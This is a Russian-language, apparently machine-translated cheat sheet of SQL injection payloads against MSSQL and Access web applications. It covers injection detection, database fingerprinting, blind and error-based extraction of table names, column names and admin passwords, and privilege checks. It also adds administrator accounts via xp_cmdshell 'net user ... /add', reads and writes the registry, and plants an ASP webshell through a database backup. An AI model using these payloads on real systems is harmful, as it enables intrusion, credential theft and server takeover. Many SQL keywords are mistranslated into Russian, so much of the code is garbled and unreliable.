1. Определить, есть ли инъекция ; и 1=1 ; и 1=2
2. Предварительное решение о том, является ли MSSQL ; и пользователь>0
3. Оценивайте систему баз данных ; и (выбрать count(*) из sysobjects)>0 mssql ; и (выбрать count(*) из msysobjects)>0 доступ
4. Параметр инъекции — это символ 'и [критерии запроса] и ''='
5. При поиске отсутствуют фильтрованные параметры 'и [критерии запроса] и '%25'='
6. Угадайте название стола ; и (выберите Count(*) из [название таблицы])>0
7. Угадайте поле ; и (выберите Count(имя поля) из названия таблицы)>0
8. Угадайте длину рекорда в поле ; и (выберите топ-1 len (название поля) из названия таблицы)>0
9. (1) Угадайте значение ASCII поля (access) ; и (выбрать топ-1 ASC (Mid(имя поля, 1,1)) из названия таблицы)>0
(2) Угадайте значение ASCII поля (mssql) ; и (выберите топ-1 Unicode(substring(имя поля,1,1)) из названия таблицы)>0
10. Структура разрешения на тестирование (mssql) ; и 1=(выберите IS_SRVROLEMEMBER('системный администратор')); -- ; и 1=(выберите IS_SRVROLEMEMBER('serveradmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('setupadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('securityadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('diskadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('bulkadmin')); -- ; и 1=(выберите IS_MEMBER('db_owner')); --
11. Добавить аккаунт для mssql и системы ; исполнительный master.dbo.sp_addlogin имя пользователя; -- ; exec master.dbo.sp_password null, username, password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin username; -- ; исполнитель master.dbo.xp_cmdshell 'net username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; исполнительный master.dbo.xp_cmdshell 'net user username password /add'; -- ; исполнительный master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; --
12. (1) Пройтись по каталогу ; Create table dirs(paths varchar(100), id int) ; Вставьте директоров exec master.dbo.xp_dirtree 'c:\' ; и (выберите топ-1 путь из директоров)>0 ; и (выберите верхние 1 пути из DIRS, где пути, не входящие в ('пути, полученные с предыдущего шага'))>)
(2) Пройтись по каталогу ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вставьте временный исполнительный master.dbo.xp_availablemedia; -- Собери все текущие диски ; вставьте в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Получить список подкаталогов ; вставить в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Получить структуру дерева каталогов для всех подкаталогов ; Вставьте в temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Просмотр содержимого файла
13. Хранимые процедуры в mssql xp_regenumvalues Корневый ключ реестра, дочерний ключ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' возвращает все значения ключей в нескольких наборах записей xp_regread Корневый ключ, дочерний ключ, имя ключа-значения ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' возвращает значение установленного ключа xp_regwrite Корневой ключ, дочерний ключ, имя значения, тип значения, значение Существует два типа типов значений: REG_SZ REG_DWORD для типов символов и для целых чисел ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' в реестр xp_regdeletevalue Корневой ключ, подключ, имя значения exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' для удаления значения xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' для удаления ключа, включая все значения под этим ключом
14. Резервное копирование MSSQL создаёт вебшелл Модель использования создать таблицу cmd (изображение STR); вставить в значения cmd(str) ('<% Dim oScript %>'); резервное копирование модели базы данных в disk='c:\l.asp';
15. Встроенные функции MSSQL ; и (выберите @@version)>0, чтобы получить номер версии Windows ; и user_name()='dbo' для определения, является ли подключённый пользователь текущей системы SA ; и (выберите user_name())>0 Взрыв подключённых пользователей текущей системы ; и (выберите db_name())>0 для получения текущей подключённой базы данных
Нарушение данных MSSQL с ручной аннотацией
1. Обнаружить текущее имя таблицы и название столбца Отправьте «'having 1=1--» после точки ввода, чтобы получить ответное сообщение на английском языке, в котором можно увидеть название таблицы и название столбца. Отправьте «group by the list name with 1=1--», чтобы получить другое название столбца; Продолжайте отправлять группу по списку открытого имени таблицы, то есть по названию открытой таблицы. Имя второго столбца имеет 1=1--", что даёт другое название столбца. Коммитировать так же, пока страница не перестанет возвращать сообщения об ошибках, чтобы получить все имена столбцов. Интересные факты: имена таблиц Violent и столбцов используются в сочетании с GROUP BY в SQL-операторах для условных суждений. Поскольку оператор неполный, база данных возвращает сообщение об ошибке и отображает имя таблицы и имя столбца. Базовый метод может отображать только текущую таблицу в базе данных, и если в таблице много имён столбцов, использовать базовый метод очень сложно.
Во-первых. Все имена баз данных открыты Используйте оператор "and 0<>(select count(*) from master.dbo.sysdatabases, где name>1 и dbid=[N])" для открытия произвольных названий таблиц и столбцов в базе данных, где "[N]" представляет N-ю таблицу в базе данных. Шаг 1: После введения точки введите следующее утверждение: «и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=12)», поскольку значение dbid — от 1 до 5, которое используется системой, поэтому пользователь должен построить его из 6, и мы отправили имя>1, поле имени — это поле типа символа, и сравнение чисел будет ошибочным, поэтому после отправки IE вернёт следующую информацию: «Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] преобразует значение nvarchar 'Northwind' в тип данных int Колонка. Таким образом, значение поля имени открывается, то есть мы получаем имя базы данных «Northwind». Изменение значения «dbid» позволяет получить все имена баз данных.
и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=[N])-- Modify N для взрыва всех имён баз данных из 6
Во-вторых. Разместить все имена таблиц в указанной базе данных После получения имени базы данных нужно получить все имена таблиц в библиотеке, ввести следующее сообщение: «and 0<>(выберите имя верхнего 1 из master.dbo.sysobjects, где xtype='U')», вот имя таблицы в главной базе данных, и SQL-оператор запроса возвращает значение имени, а затем сравнивая его с числом 0, чтобы значение имени было открыто. После подачи заявки было объявлено название стола «'spt_monito». Затем открываются другие таблицы, и подаётся следующее утверждение: «и 0<>(выберите имя верхнего 1 из master.dbo.sysobjects, где xtype='U' и имя не входит в ('spt_monito'))», и открывается другая таблица с названием «cd512». Файл «и имя не в(' spt_monito',' CD512',..))" Вы можете узнать все названия столов.
и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U')-- и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и имя не входит в ('[Exploded table name]'))-- и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и имя не входит в ('[Имя взрывной таблицы]', '[Взорвавшееся имя второй таблицы]')))--
4. Вывести все имена столбцов в указанной таблице и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype='U' и name='admin' и uid>(str(id))) Преобразуйте значение ID в тип символа и сравните его с целочисленным. Номер удостоверения не введён. Значение: 949578421 name='имя таблицы'
и 0<>(выберите имя верхнего 1 из wutong.dbo.syscolumns, где id=949578421)-- Имя поля в таблице администратора открывается
Отправьте повторно и 0<>(выберите топ-1 имя из wutong.dbo.syscolumns, где id=949578421 и имя не входит в ('adduser')))-- Файл «и имя не в(' spt_monito',' CD512',..))" Все названия полей можно найти в таблице администратора.
и 0<>(выберите count(*) из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и name='[Название таблицы поля, которое должно быть взорвано]' и uid>(str(id)))--Значение ID названия таблицы поля, которое должно взрываться
и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.syscolumns, где id=exploded id value) — имя поля в таблице значений exploding id
и 0<>(выберите имя верхней 1 из [укажите имя базы данных].dbo.syscolumns, где id=Взрывное значение id и имя не входит в ('[Exploed field name]')))--
5. Прочитайте данные в указанной таблице
и 0<(выберите A_ID с wutong.dbo.admin, где A_UserID>1) — контент, который сломал A_PWD
и 0<(выберите [существующее поле] из [укажите имя базы данных].dbo.[название таблицы для запроса] где [имя поля для взрывного содержимого]>1)--
и 0<(выберите A_ID из wutong.dbo.admin, где A_PWD>1 и A_UserID='admin') — пароль администратора раскрывается
и 0<(Выберите Top 1 A_UserID FROM admin, где A_ID<>1) — имя администратора id<>1 (fuhao)
и 0<(Выберите Топ-1 A_UserID ИЗ админа, где A_ID <>1 и A_UserID <> 'fuhao') — имя второго админа <> не равно (tuiguang)
и 0<(Выберите топ-1 A_UserID ИЗ админа, где A_ID <>1 и A_UserID <> 'fuhao' и A_UserID <> 'tuiguang')--
После того как вы знаете название таблицы и столбца базы данных, вы можете использовать «оператор запроса» для чтения любой информации в базе. Например, если вы хотите прочитать N-тые данные в столбце таблицы, вы можете ввести утверждение: «и (Выберите название верхней 1 столбцы ИЗ названия таблицы, где id=[N])>1» ([N] обозначает N-й данные в столбце), и вы сможете узнать нужные данные из информации, возвращаемой IE.
|